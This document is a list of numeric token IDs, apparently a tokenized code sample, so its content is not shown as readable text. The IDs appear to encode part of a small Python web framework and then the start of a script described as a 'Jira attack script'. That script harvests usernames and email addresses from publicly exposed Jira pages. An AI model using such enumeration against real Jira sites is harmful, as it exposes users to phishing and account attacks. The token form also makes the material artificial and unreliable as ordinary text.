304,
278,
1158,
577,
591,
29915,
645,
1207,
393,
29871,
13,
4706,
396,
6775,
304,
679,
472,
13,
4706,
1583,
29889,
5696,
353,
12471,
1839,
16244,
29918,
2303,
4690,
13668,
2033,
13,
4706,
396,
322,
278,
2224,
13,
4706,
1583,
29889,
2084,
353,
12471,
1839,
10145,
29918,
11690,
2033,
13,
308,
13,
4706,
396,
1732,
597,
1636,
29889,
29893,
29941,
29889,
990,
29914,
17830,
29879,
29914,
9600,
29883,
29906,
29953,
29896,
29953,
29914,
9600,
29883,
29906,
29953,
29896,
29953,
29899,
3471,
29929,
29889,
1420,
13,
4706,
565,
1583,
29889,
5696,
451,
297,
6702,
5438,
742,
525,
7194,
742,
525,
2287,
18476,
742,
525,
12336,
742,
525,
23252,
742,
29871,
13,
462,
18884,
525,
14094,
27946,
742,
525,
5659,
11538,
29374,
13,
9651,
12020,
9056,
2392,
29892,
376,
13919,
2009,
29908,
13,
308,
13,
4706,
396,
565,
591,
505,
738,
2346,
1347,
6273,
769,
591,
29915,
645,
1207,
769,
13,
4706,
396,
901,
5948,
15579,
13,
4706,
565,
7431,
29898,
21813,
1839,
13356,
24422,
29918,
20785,
2033,
1125,
13,
9651,
1583,
29889,
7194,
353,
3142,
5510,
29889,
5510,
29918,
29939,
29879,
29898,
21813,
1839,
13356,
24422,
29918,
20785,
7464,
5852,
29897,
13,
308,
13,
4706,
396,
565,
591,
505,
1400,
848,
591,
29915,
645,
1207,
393,
901,
15579,
2086,
13,
4706,
565,
1583,
29889,
5696,
1275,
525,
5438,
2396,
13,
9651,
1583,
29889,
5438,
353,
274,
3146,
29889,
3073,
10486,
29898,
18091,
29922,
21813,
1839,
5652,
3146,
29889,
2080,
7464,
29871,
13,
462,
462,
308,
12471,
29922,
21813,
29892,
29871,
13,
462,
462,
308,
3013,
29918,
19465,
29918,
5975,
29922,
5574,
29897,
13,
308,
13,
4706,
396,
763,
5048,
29915,
29879,
7471,
16244,
448,
541,
366,
881,
5491,
367,
901,
6261,
13,
4706,
1583,
29889,
16244,
353,
1583,
29889,
7194,
29889,
8552,
580,
13,
4706,
1583,
29889,
16244,
29889,
5504,
29898,
1311,
29889,
5438,
29897,
13,
13,
1990,
9056,
5103,
29898,
3318,
1125,
13,
1678,
376,
29949,
332,
13291,
1203,
29908,
13,
268,
13,
1678,
396,
1732,
597,
1636,
29889,
5444,
29939,
29879,
29889,
990,
29914,
9600,
2395,
29914,
9600,
29883,
29906,
29953,
29896,
29953,
29889,
1420,
13,
1678,
11561,
353,
426,
13,
308,
29896,
29900,
29900,
29901,
376,
1323,
14150,
613,
29871,
13,
308,
29896,
29900,
29896,
29901,
376,
24995,
292,
1019,
5770,
29879,
613,
29871,
13,
308,
29906,
29900,
29900,
29901,
376,
8949,
613,
29871,
13,
308,
29906,
29900,
29896,
29901,
376,
20399,
613,
29871,
13,
308,
29906,
29900,
29906,
29901,
376,
23965,
287,
613,
29871,
13,
308,
29906,
29900,
29941,
29901,
376,
12283,
29899,
13720,
23378,
10343,
613,
29871,
13,
308,
29906,
29900,
29946,
29901,
376,
3782,
10576,
613,
29871,
13,
308,
29906,
29900,
29945,
29901,
376,
27175,
10576,
613,
29871,
13,
308,
29906,
29900,
29953,
29901,
376,
7439,
616,
10576,
613,
29871,
13,
308,
29941,
29900,
29900,
29901,
376,
15329,
552,
14542,
1575,
613,
29871,
13,
308,
29941,
29900,
29896,
29901,
376,
29924,
8238,
349,
3504,
2705,
613,
29871,
13,
308,
29941,
29900,
29906,
29901,
376,
9692,
613,
29871,
13,
308,
29941,
29900,
29941,
29901,
376,
13393,
5901,
613,
29871,
13,
308,
29941,
29900,
29946,
29901,
376,
3664,
3382,
2164,
613,
29871,
13,
308,
29941,
29900,
29945,
29901,
376,
11403,
1019,
3594,
613,
29871,
13,
308,
29941,
29900,
29955,
29901,
376,
5776,
1971,
653,
4367,
1088,
613,
29871,
13,
308,
29946,
29900,
29900,
29901,
376,
22050,
10729,
613,
29871,
13,
308,
29946,
29900,
29896,
29901,
376,
29965,
1056,
329,
2015,
1891,
613,
29871,
13,
308,
29946,
29900,
29906,
29901,
376,
15467,
358,
830,
5958,
613,
29871,
13,
308,
29946,
29900,
29941,
29901,
376,
2831,
29890,
4215,
613,
29871,
13,
308,
29946,
29900,
29946,
29901,
376,
3664,
7460,
613,
29871,
13,
308,
29946,
29900,
29945,
29901,
376,
4062,
2216,
2178,
20937,
613,
29871,
13,
308,
29946,
29900,
29953,
29901,
376,
3664,
29848,
519,
613,
13,
308,
29946,
29900,
29955,
29901,
376,
14048,
27241,
830,
5958,
613,
29871,
13,
308,
29946,
29900,
29947,
29901,
376,
3089,
5974,
29899,
449,
613,
29871,
13,
308,
29946,
29900,
29929,
29901,
376,
16376,
29176,
613,
29871,
13,
308,
29946,
29896,
29900,
29901,
376,
29954,
650,
613,
29871,
13,
308,
29946,
29896,
29896,
29901,
376,
6513,
830,
5958,
613,
29871,
13,
308,
29946,
29896,
29906,
29901,
376,
6572,
16122,
18390,
613,
29871,
13,
308,
29946,
29896,
29941,
29901,
376,
3089,
14945,
1763,
29877,
8218,
479,
613,
29871,
13,
308,
29946,
29896,
29946,
29901,
376,
3089,
29899,
15551,
1763,
29877,
8218,
479,
613,
29871,
13,
308,
29946,
29896,
29945,
29901,
376,
25807,
29884,
3016,
287,
8213,
5167,
613,
29871,
13,
308,
29946,
29896,
29953,
29901,
376,
3089,
287,
3464,
451,
5119,
29875,
519,
613,
29871,
13,
308,
29946,
29896,
29955,
29901,
376,
1252,
1103,
362,
18390,
613,
29871,
13,
308,
29945,
29900,
29900,
29901,
376,
16491,
5656,
4829,
613,
29871,
13,
308,
29945,
29900,
29896,
29901,
376,
3664,
1954,
2037,
287,
613,
29871,
13,
308,
29945,
29900,
29906,
29901,
376,
22050,
22510,
1582,
613,
29871,
13,
308,
29945,
29900,
29941,
29901,
376,
3170,
853,
16515,
613,
29871,
13,
308,
29945,
29900,
29946,
29901,
376,
29954,
403,
1582,
5974,
29899,
449,
613,
29871,
13,
308,
29945,
29900,
29945,
29901,
376,
10493,
10079,
451,
6969,
613,
13,
1678,
500,
13,
268,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
2793,
2433,
742,
9066,
3790,
1118,
4660,
29918,
401,
29922,
29906,
29900,
29900,
1125,
13,
4706,
376,
15514,
895,
1749,
2933,
29892,
10241,
4129,
338,
2691,
29908,
13,
4706,
1583,
29889,
4882,
29918,
401,
353,
4660,
29918,
401,
13,
4706,
1583,
29889,
842,
29918,
3051,
29898,
3051,
29897,
13,
4706,
1583,
3032,
13662,
353,
9066,
13,
4706,
1583,
3032,
13662,
1839,
3051,
29899,
2848,
2033,
353,
851,
29898,
2435,
29898,
3051,
876,
13,
308,
13,
4706,
396,
16869,
5251,
1426,
29914,
1420,
6521,
5429,
6467,
13,
4706,
565,
451,
525,
3051,
29899,
1853,
29915,
297,
1583,
29889,
13662,
29901,
13,
9651,
1583,
3032,
13662,
1839,
3051,
29899,
1853,
2033,
353,
525,
726,
29914,
1420,
29915,
13,
308,
13,
1678,
822,
679,
29918,
4882,
29898,
1311,
1125,
13,
4706,
376,
2577,
278,
4660,
775,
322,
2643,
29892,
541,
1207,
1854,
372,
29915,
29879,
2854,
937,
29908,
13,
4706,
565,
1583,
29889,
4882,
29918,
401,
451,
297,
1583,
29889,
18137,
29901,
13,
9651,
396,
8340,
775,
29892,
577,
1554,
756,
7695,
2743,
13,
9651,
1583,
29889,
4882,
29918,
401,
353,
29871,
29945,
29900,
29900,
13,
4706,
736,
11860,
29879,
1273,
29879,
29908,
1273,
313,
1311,
29889,
4882,
29918,
401,
29892,
1583,
29889,
18137,
29961,
1311,
29889,
4882,
29918,
401,
2314,
13,
308,
13,
1678,
822,
731,
29918,
4882,
29898,
1311,
29892,
775,
1125,
13,
4706,
376,
8787,
731,
357,
1158,
29908,
13,
4706,
1583,
29889,
4882,
29918,
401,
353,
775,
13,
308,
13,
1678,
822,
679,
29918,
13662,
29898,
1311,
1125,
13,
4706,
376,
11609,
278,
9066,
408,
263,
1051,
29908,
13,
4706,
736,
1051,
29898,
1311,
3032,
13662,
29889,
1524,
7076,
3101,
13,
308,
13,
1678,
822,
731,
29918,
13662,
29898,
1311,
29892,
334,
5085,
1125,
13,
4706,
376,
2697,
278,
2933,
9066,
29892,
4893,
2845,
263,
1820,
29914,
1767,
470,
263,
8600,
29908,
13,
4706,
565,
1134,
29898,
5085,
29961,
29900,
14664,
1649,
978,
1649,
1275,
525,
8977,
2396,
13,
9651,
1583,
3032,
13662,
29889,
5504,
29898,
5085,
29961,
29900,
2314,
13,
4706,
1683,
29901,
13,
9651,
1820,
29892,
995,
353,
6389,
13,
9651,
1583,
3032,
13662,
29961,
1989,
29962,
353,
995,
13,
308,
13,
1678,
822,
679,
29918,
3051,
29898,
1311,
1125,
13,
4706,
376,
11609,
278,
3573,
310,
278,
2933,
297,
263,
5407,
3402,
29908,
13,
4706,
736,
518,
1311,
3032,
3051,
29892,
11297,
29876,
2033,
13,
308,
13,
1678,
822,
731,
29918,
3051,
29898,
1311,
29892,
995,
1125,
13,
4706,
376,
2697,
278,
3573,
310,
278,
2933,
29892,
5662,
3864,
591,
29915,
276,
773,
23616,
29899,
29947,
29908,
13,
4706,
396,
1732,
597,
1636,
29889,
4691,
29889,
990,
29914,
3359,
29914,
412,
567,
29914,
412,
29886,
29899,
29900,
29941,
29941,
29941,
8484,
2523,
356,
29899,
12175,
13,
4706,
565,
338,
8758,
29898,
1767,
29892,
29104,
1125,
13,
9651,
995,
353,
995,
29889,
12508,
877,
9420,
29899,
29947,
1495,
13,
4706,
1583,
3032,
3051,
353,
995,
13,
308,
13,
1678,
396,
1207,
278,
4100,
5633,
310,
278,
2933,
4426,
310,
278,
1203,
13,
1678,
2793,
353,
2875,
29898,
657,
29918,
3051,
29892,
731,
29918,
3051,
29897,
13,
1678,
4660,
353,
2875,
29898,
657,
29918,
4882,
29892,
731,
29918,
4882,
29897,
13,
1678,
9066,
353,
2875,
29898,
657,
29918,
13662,
29892,
731,
29918,
13662,
29897,
13,
268,
13,
1990,
9056,
5103,
24735,
29898,
5506,
5103,
1125,
13,
1678,
376,
4035,
770,
310,
9056,
5103,
3907,
28937,
6775,
304,
4386,
29908,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
6684,
29918,
5479,
29892,
17667,
29922,
5574,
1125,
308,
13,
4706,
2428,
29898,
5506,
5103,
24735,
29892,
1583,
467,
1649,
2344,
1649,
580,
13,
4706,
1583,
3032,
13662,
1839,
6508,
2033,
353,
6684,
29918,
5479,
13,
4706,
396,
2758,
502,
304,
731,
3692,
591,
864,
263,
29871,
29941,
29900,
29896,
470,
29871,
29941,
29900,
29906,
6684,
13,
4706,
565,
17667,
29901,
13,
9651,
1583,
29889,
4882,
29918,
401,
353,
29871,
29941,
29900,
29896,
13,
4706,
1683,
29901,
13,
9651,
1583,
29889,
4882,
29918,
401,
353,
29871,
29941,
29900,
29906,
13,
268,
13,
1990,
2563,
4873,
29898,
3318,
1125,
13,
1678,
9995,
13,
1678,
29848,
29879,
263,
731,
310,
12049,
322,
8128,
263,
399,
26016,
29902,
2280,
29889,
13,
1678,
910,
2702,
770,
338,
9146,
304,
367,
19481,
287,
8679,
373,
13,
1678,
825,
2656,
310,
21398,
6012,
366,
864,
304,
671,
29889,
960,
1304,
372,
674,
29871,
13,
1678,
2337,
736,
263,
29871,
29946,
29900,
29946,
29889,
13,
1678,
9995,
13,
13,
1678,
822,
4770,
2344,
12035,
1311,
29892,
12049,
1125,
13,
4706,
1583,
29889,
27894,
353,
12049,
13,
13,
1678,
822,
4770,
4804,
12035,
1311,
29892,
12471,
29892,
1369,
29918,
5327,
1125,
13,
13,
4706,
2933,
353,
1583,
29889,
3258,
29918,
5327,
29898,
21813,
29897,
13,
13,
4706,
396,
591,
1016,
29915,
29873,
505,
263,
2854,
2933,
13,
4706,
565,
451,
338,
8758,
29898,
5327,
29892,
9056,
5103,
1125,
13,
9651,
1018,
29901,
13,
18884,
396,
1818,
3064,
451,
2534,
263,
2933,
2794,
591,
3282,
29915,
29873,
1993,
13,
18884,
396,
263,
7834,
577,
445,
674,
4418,
29892,
541,
925,
297,
1206,
13,
18884,
736,
7834,
29889,
2704,
29898,
29946,
29900,
29946,
29897,
13,
9651,
5174,
29901,
13,
18884,
396,
297,
263,
1855,
2280,
445,
674,
3117,
2360,
3799,
13,
18884,
396,
366,
881,
2337,
4529,
596,
1914,
4380,
599,
7834,
607,
13,
18884,
396,
7087,
4129,
393,
20074,
599,
278,
982,
1549,
596,
13,
18884,
396,
12049,
322,
5376,
411,
372,
7535,
29889,
13,
18884,
2933,
353,
9056,
5103,
29898,
13,
462,
1678,
12801,
29882,
29896,
29958,
5074,
2216,
7460,
829,
29882,
29896,
29958,
742,
4660,
29918,
401,
29922,
29946,
29900,
29946,
29897,
13,
13,
4706,
1369,
29918,
5327,
29898,
5327,
29889,
4882,
29892,
2933,
29889,
657,
29918,
13662,
3101,
13,
4706,
736,
2933,
29889,
3051,
13,
13,
1678,
822,
1653,
29918,
5327,
29898,
1311,
29892,
12471,
1125,
13,
4706,
376,
29911,
6926,
278,
5177,
322,
3639,
263,
2933,
1203,
470,
6213,
29908,
13,
4706,
736,
6213,
13,
268,
13,
1990,
25326,
29933,
1463,
4873,
29898,
3609,
4873,
1125,
13,
1678,
9995,
13,
1678,
8741,
8427,
773,
263,
6528,
2729,
11380,
363,
21398,
29889,
13,
1678,
910,
338,
10029,
8473,
322,
6511,
901,
13173,
12049,
13,
1678,
472,
278,
1518,
1947,
310,
3907,
18764,
292,
9301,
29889,
20829,
267,
1106,
763,
29901,
13,
268,
13,
1678,
12049,
353,
313,
13,
4706,
313,
29878,
29915,
29985,
29914,
5431,
29914,
4197,
29900,
29899,
29929,
10062,
6802,
4197,
29900,
29899,
29929,
10062,
29897,
742,
13679,
511,
13,
4706,
313,
29878,
29915,
29985,
29914,
1646,
29938,
742,
2261,
511,
13,
4706,
6702,
29914,
5575,
742,
2216,
9692,
5074,
4598,
511,
13,
1678,
1723,
13,
1678,
9995,
13,
1678,
822,
1653,
29918,
5327,
29898,
1311,
29892,
12471,
1125,
13,
4706,
376,
29911,
6926,
278,
5177,
322,
3639,
263,
2933,
1203,
470,
6213,
29908,
13,
4706,
7834,
353,
6213,
13,
4706,
6471,
353,
5159,
13,
4706,
2933,
353,
6213,
13,
4706,
396,
679,
278,
2009,
515,
278,
5177,
13,
4706,
2009,
353,
9056,
3089,
29898,
21813,
29897,
13,
308,
13,
4706,
396,
6633,
599,
278,
5375,
6528,
29879,
13,
4706,
12049,
353,
18761,
3552,
276,
29889,
12198,
29898,
29874,
511,
289,
29897,
363,
263,
29892,
289,
297,
1583,
29889,
27894,
29897,
13,
4706,
396,
363,
1269,
6528,
29892,
770,
5101,
13,
4706,
363,
6528,
29886,
29892,
7834,
29918,
1990,
297,
12049,
29901,
13,
9651,
396,
565,
372,
7087,
278,
2224,
591,
29915,
276,
16743,
411,
13,
9651,
1993,
353,
6528,
29886,
29889,
4352,
29898,
21813,
1839,
10145,
29918,
11690,
11287,
13,
9651,
565,
1993,
29901,
13,
18884,
396,
25112,
278,
7834,
770,
13,
18884,
7834,
353,
7834,
29918,
1990,
29898,
3827,
29897,
13,
18884,
396,
322,
17229,
278,
19228,
24611,
13,
18884,
6471,
353,
1993,
29889,
13155,
580,
13,
18884,
2867,
13,
308,
13,
4706,
396,
565,
591,
1476,
263,
8018,
7834,
13,
4706,
565,
7834,
29901,
13,
9651,
396,
1018,
278,
2009,
1158,
304,
1074,
565,
278,
29871,
13,
9651,
396,
7834,
11286,
372,
322,
565,
577,
769,
13,
9651,
396,
1246,
278,
1158,
13,
9651,
1018,
29901,
13,
18884,
1158,
353,
12471,
1839,
16244,
29918,
2303,
4690,
13668,
2033,
13,
18884,
565,
1158,
1275,
525,
7194,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
7194,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
5438,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
5438,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
23252,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
23252,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
14094,
27946,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
14094,
27946,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
12336,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
12336,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
2287,
18476,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
2287,
18476,
10456,
13155,
29897,
13,
18884,
25342,
1158,
1275,
525,
5659,
11538,
2396,
13,
462,
1678,
2933,
353,
7834,
29889,
5659,
11538,
10456,
13155,
29897,
13,
9651,
5174,
8960,
29892,
321,
29901,
13,
18884,
396,
10446,
738,
15283,
577,
591,
508,
3183,
263,
8018,
1059,
13,
18884,
736,
7834,
29889,
2704,
29898,
29945,
29900,
29900,
29892,
321,
29897,
13,
308,
13,
632,
13,
4706,
396,
10201,
736,
278,
2933,
29892,
607,
565,
591,
3282,
29915,
29873,
1284,
13,
4706,
396,
697,
674,
367,
6213,
13,
4706,
736,
2933,
13,
268,
13,
1990,
25159,
29933,
1463,
4873,
29898,
3609,
4873,
1125,
13,
1678,
9995,
13,
1678,
8741,
8427,
773,
263,
2560,
5993,
2729,
11380,
363,
21398,
29889,
13,
1678,
910,
756,
278,
10631,
310,
3907,
18764,
292,
13774,
2560,
29889,
29871,
13,
1678,
20829,
267,
1106,
763,
29901,
13,
268,
13,
1678,
12049,
353,
313,
13,
4706,
6702,
29914,
742,
13679,
511,
13,
4706,
6702,
29914,
1357,
1493,
24676,
303,
3096,
29914,
742,
2261,
29897,
13,
1678,
1723,
13,
1678,
9995,
13,
1678,
822,
1653,
29918,
5327,
29898,
1311,
29892,
12471,
1125,
13,
4706,
376,
29911,
6926,
278,
5177,
322,
3639,
263,
2933,
1203,
470,
6213,
29908,
13,
4706,
2933,
353,
6213,
13,
4706,
6471,
353,
5159,
13,
4706,
2009,
353,
9056,
3089,
29898,
21813,
29897,
13,
308,
13,
4706,
363,
5101,
297,
1583,
29889,
27894,
29901,
13,
9651,
5782,
29892,
1776,
353,
5101,
13,
9651,
7087,
353,
337,
29889,
4352,
29898,
1311,
3032,
13134,
29918,
6207,
29898,
13134,
511,
12471,
1839,
10145,
29918,
11690,
11287,
13,
13,
9651,
396,
565,
591,
1476,
263,
1993,
13,
9651,
565,
7087,
29901,
13,
18884,
6471,
353,
7087,
29889,
13155,
580,
13,
18884,
7834,
353,
1776,
29898,
3827,
29897,
13,
18884,
396,
1018,
278,
2009,
1158,
304,
1074,
565,
278,
29871,
13,
18884,
396,
7834,
11286,
372,
322,
565,
577,
769,
13,
18884,
396,
1246,
278,
1158,
13,
18884,
1018,
29901,
13,
462,
1678,
1158,
353,
12471,
1839,
16244,
29918,
2303,
4690,
13668,
2033,
13,
462,
1678,
565,
1158,
1275,
525,
7194,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
7194,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
5438,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
5438,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
23252,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
23252,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
14094,
27946,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
14094,
27946,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
12336,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
12336,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
2287,
18476,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
2287,
18476,
10456,
13155,
29897,
13,
462,
1678,
25342,
1158,
1275,
525,
5659,
11538,
2396,
13,
462,
4706,
2933,
353,
7834,
29889,
5659,
11538,
10456,
13155,
29897,
13,
18884,
5174,
8960,
29892,
321,
29901,
13,
462,
1678,
396,
10446,
738,
15283,
577,
591,
508,
3183,
263,
8018,
1059,
13,
462,
1678,
736,
7834,
29889,
2704,
29898,
29945,
29900,
29900,
29892,
321,
29897,
13,
18884,
7146,
29901,
13,
462,
1678,
396,
2748,
591,
505,
263,
1993,
591,
508,
5040,
3063,
13,
462,
1678,
2867,
13,
4706,
396,
10201,
736,
278,
2933,
29892,
607,
565,
591,
3282,
29915,
29873,
1284,
13,
4706,
396,
697,
674,
367,
6213,
13,
4706,
736,
2933,
13,
13,
1678,
822,
903,
13134,
29918,
6207,
29898,
1311,
29892,
5782,
1125,
13,
4706,
376,
18280,
263,
13126,
4943,
4603,
29908,
13,
4706,
396,
521,
459,
1283,
8236,
24765,
13,
4706,
565,
5782,
29889,
27382,
2541,
11219,
29374,
13,
9651,
5782,
353,
5782,
29961,
29896,
17531,
13,
308,
13,
4706,
25053,
29918,
17057,
353,
7700,
13,
4706,
396,
1423,
1095,
24765,
322,
6456,
304,
3013,
372,
13,
4706,
565,
5782,
29889,
1975,
2541,
11219,
29374,
13,
9651,
5782,
353,
5782,
7503,
29899,
29896,
29962,
13,
9651,
25053,
29918,
17057,
353,
5852,
13,
308,
13,
4706,
396,
6219,
964,
2224,
7117,
13,
4706,
9978,
353,
5782,
29889,
5451,
11219,
1495,
13,
268,
13,
4706,
396,
13126,
1993,
8665,
411,
263,
24765,
29892,
13,
4706,
396,
29871,
577,
591,
1207,
372,
263,
1051,
577,
591,
508,
5988,
2678,
13,
4706,
6528,
353,
6024,
2033,
13,
4706,
363,
2224,
29918,
9700,
297,
9978,
29901,
13,
9651,
565,
2224,
29918,
9700,
29889,
27382,
2541,
877,
11283,
1125,
13,
18884,
396,
372,
29915,
29879,
263,
5782,
29892,
577,
6633,
13,
18884,
1024,
353,
2224,
29918,
9700,
29961,
29896,
17531,
13,
18884,
396,
3544,
871,
2854,
3988,
4890,
13,
18884,
6528,
29889,
4397,
29898,
29878,
29915,
10780,
29925,
29966,
29995,
29879,
29958,
14352,
29918,
29874,
29899,
25265,
29899,
29999,
29900,
29899,
29929,
29974,
7686,
10062,
16029,
1273,
1024,
29897,
13,
9651,
1683,
29901,
13,
18884,
396,
925,
263,
1347,
29914,
7959,
2224,
4163,
13,
18884,
6528,
29889,
4397,
29898,
2084,
29918,
9700,
29897,
13,
632,
13,
4706,
396,
12070,
278,
25053,
24765,
1250,
373,
13,
4706,
565,
25053,
29918,
17057,
29901,
13,
9651,
6528,
29889,
4397,
877,
1495,
13,
308,
13,
4706,
396,
380,
2335,
372,
1250,
4208,
408,
263,
2224,
13,
4706,
736,
525,
29985,
29995,
29879,
29938,
29915,
1273,
8207,
4286,
7122,
29898,
13087,
29897,
308,
13,
13,
1753,
5849,
29918,
2974,
29898,
6214,
29892,
2011,
29922,
29947,
29900,
29900,
29900,
1125,
13,
1678,
376,
29909,
2560,
399,
26016,
29902,
5849,
1923,
29908,
13,
268,
13,
1678,
1923,
353,
1207,
29918,
2974,
877,
742,
2011,
29892,
2280,
29897,
13,
268,
13,
1678,
1596,
525,
29924,
29940,
1988,
1286,
2734,
373,
1732,
597,
29896,
29906,
29955,
29889,
29900,
29889,
29900,
29889,
29896,
16664,
29879,
29905,
29876,
29915,
1273,
2011,
13,
1678,
1018,
29901,
13,
4706,
1923,
29889,
16349,
29918,
1079,
369,
580,
13,
1678,
5174,
7670,
3377,
4074,
6685,
29901,
13,
4706,
10876,
29889,
13322,
580,
13,
2
] |
JIG.py | mmg1/JIG | 28 | 11846 | <reponame>mmg1/JIG
import re
import sys
from itertools import izip as zip
import argparse
import requests
# argparse definitions
parser = argparse.ArgumentParser(description='Jira attack script')
parser.add_argument('URL', type=str , help='the URL of the Jira instance... ex. https://jira.organization.com/')
parser.add_argument('-u' ,'--usernames', dest='names', action='store_const', const=True, help='Print discovered usernames')
parser.add_argument('-e' , '--emails', dest='emails',action='store_const', const=True, help='Print discovered email addresses')
parser.add_argument('-a' ,'--all', dest='all',action='store_const',const=True,help='Print discovered email addresses and usernames')
parser.add_argument('-eu' , dest='all',action='store_const',const=True,help=argparse.SUPPRESS)
parser.add_argument('-ue' , dest='all',action='store_const',const=True,help=argparse.SUPPRESS)
args = parser.parse_args()
url = args.URL
if args.URL[-1] != '/':
args.URL = args.URL + "/"
# Define URLs
pickerURL = args.URL + "secure/popups/UserPickerBrowser.jspa?max=9999"
filtersURL = args.URL + "secure/ManageFilters.jspa?filter=popular"
#dashboardURL = args.URL + "secure/Dashboard.jspa"
def extractPicker(response):
'''
Takes in the response body for UserBrowserPicker and returns a dictionary containing
usernames and email addresses.
'''
userList = re.compile(r"-name\">(.*)</td>").findall(response.text)
emailList = re.compile(r">(.*\@.*)</td>").findall(response.text)
dictionary = dict(zip(userList , emailList))
return dictionary
def extractFilters(response):
'''
Takes in the response body for the manage filters page and returns a list containing usernames.
'''
userList = re.compile(r"</span>.\((.*)\)").findall(response.text)
return list(set(userList))
def validateURL(url):
'''
Runs a stream of validation on a given URL and returns the response and a boolean value.
'''
try:
s = requests.Session()
validateresponse = s.get(url , allow_redirects=False,timeout=5)
except requests.exceptions.InvalidSchema:
print ""
print "[-] Invalid schema provided... Must follow format https://jira.organization.com/"
print ""
sys.exit(1)
except requests.exceptions.MissingSchema:
print ""
print "[-] A supported schema was not provided. Please use http:// or https://"
print ""
sys.exit(1)
except requests.exceptions.InvalidURL:
print "[-] Invalid base URL was supplied... Please try again."
sys.exit(1)
except requests.exceptions.ConnectionError:
print ""
print "[-] Connection failed... Please check the URL and try again."
print ""
sys.exit(1)
except requests.exceptions.RequestException:
print ""
print "[-] An unknown exception occurred... Please try again."
print ""
sys.exit(1)
if validateresponse.status_code == 200:
return validateresponse,True
else:
return "[-] The page is inaccessible",False
if __name__ == "__main__":
pickerResponse,pickerAccessible = validateURL(pickerURL)
filterResponse,filterAccessible = validateURL(filtersURL)
print ""
print ""
print "[+] Checking the User Picker page..."
if pickerAccessible == True:
users = extractPicker(pickerResponse)
print ""
print "[+] Success..."
print "[+] Users: "+str(len(users))
print "[+] Emails: " + str(len(users))
print ""
if (args.emails and args.names) or args.all:
print '{:<20}{:<20}'.format("---Username---", "---------Email---------")
for username, email in sorted(users.iteritems()):
print '{:<20}{:<20}'.format(username,email)
elif args.emails:
for username,email in sorted(users.iteritems()):
print email
elif args.names:
for username,email in sorted(users.iteritems()):
print username
print ""
elif pickerAccessible == False:
print pickerResponse
print ""
print ""
print "[+] Checking the Manage Filters page..."
if filterAccessible == True:
filterUsers = extractFilters(filterResponse)
if args.names or args.all:
if len(filterUsers) == 0:
print "[-] We could not find any anonymously accessible filters"
print ""
else:
print "[+] The Manage Filters page is accessible and contains data..."
print ""
for username in filterUsers:
print username
print ""
elif filterAccessible == False:
print filterResponse | [
1,
529,
276,
1112,
420,
29958,
4317,
29887,
29896,
29914,
29967,
6259,
13,
5215,
337,
30004,
13,
5215,
10876,
30004,
13,
3166,
4256,
8504,
1053,
5951,
666,
408,
14319,
30004,
13,
5215,
1852,
5510,
30004,
13,
5215,
7274,
30004,
13,
30004,
13,
29937,
1852,
5510,
15848,
30004,
13,
16680,
353,
1852,
5510,
29889,
15730,
11726,
29898,
8216,
2433,
29967,
3055,
5337,
2471,
1495,
30004,
13,
16680,
29889,
1202,
29918,
23516,
877,
4219,
742,
1134,
29922,
710,
1919,
1371,
2433,
1552,
3988,
310,
278,
435,
3055,
2777,
856,
429,
29889,
2045,
597,
2397,
336,
29889,
6388,
2133,
29889,
510,
29914,
1495,
30004,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29884,
29915,
1919,
29915,
489,
375,
824,
1280,
742,
2731,
2433,
7039,
742,
3158,
2433,
8899,
29918,
3075,
742,
1040,
29922,
5574,
29892,
1371,
2433,
11816,
10943,
502,
824,
1280,
1495,
30004,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29872,
29915,
1919,
525,
489,
331,
2234,
742,
259,
2731,
2433,
331,
2234,
742,
2467,
2433,
8899,
29918,
3075,
742,
1040,
29922,
5574,
29892,
1371,
2433,
11816,
10943,
4876,
14157,
1495,
30004,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
29874,
29915,
1919,
29915,
489,
497,
742,
2731,
2433,
497,
742,
2467,
2433,
8899,
29918,
3075,
742,
3075,
29922,
5574,
29892,
8477,
2433,
11816,
10943,
4876,
14157,
322,
502,
824,
1280,
1495,
30004,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
12932,
29915,
1919,
2731,
2433,
497,
742,
2467,
2433,
8899,
29918,
3075,
742,
3075,
29922,
5574,
29892,
8477,
29922,
1191,
5510,
29889,
29903,
4897,
15094,
1799,
8443,
13,
16680,
29889,
1202,
29918,
23516,
877,
29899,
434,
29915,
1919,
2731,
2433,
497,
742,
2467,
2433,
8899,
29918,
3075,
742,
3075,
29922,
5574,
29892,
8477,
29922,
1191,
5510,
29889,
29903,
4897,
15094,
1799,
8443,
13,
5085,
353,
13812,
29889,
5510,
29918,
5085,
26471,
13,
2271,
353,
6389,
29889,
4219,
30004,
13,
361,
6389,
29889,
4219,
14352,
29896,
29962,
2804,
8207,
2396,
30004,
13,
1678,
6389,
29889,
4219,
353,
6389,
29889,
4219,
718,
5591,
19451,
13,
30004,
13,
29937,
22402,
24295,
30004,
13,
13908,
4219,
353,
6389,
29889,
4219,
718,
376,
24216,
29914,
7323,
14340,
29914,
2659,
13954,
21537,
29889,
21318,
29874,
29973,
3317,
29922,
29929,
29929,
29929,
29929,
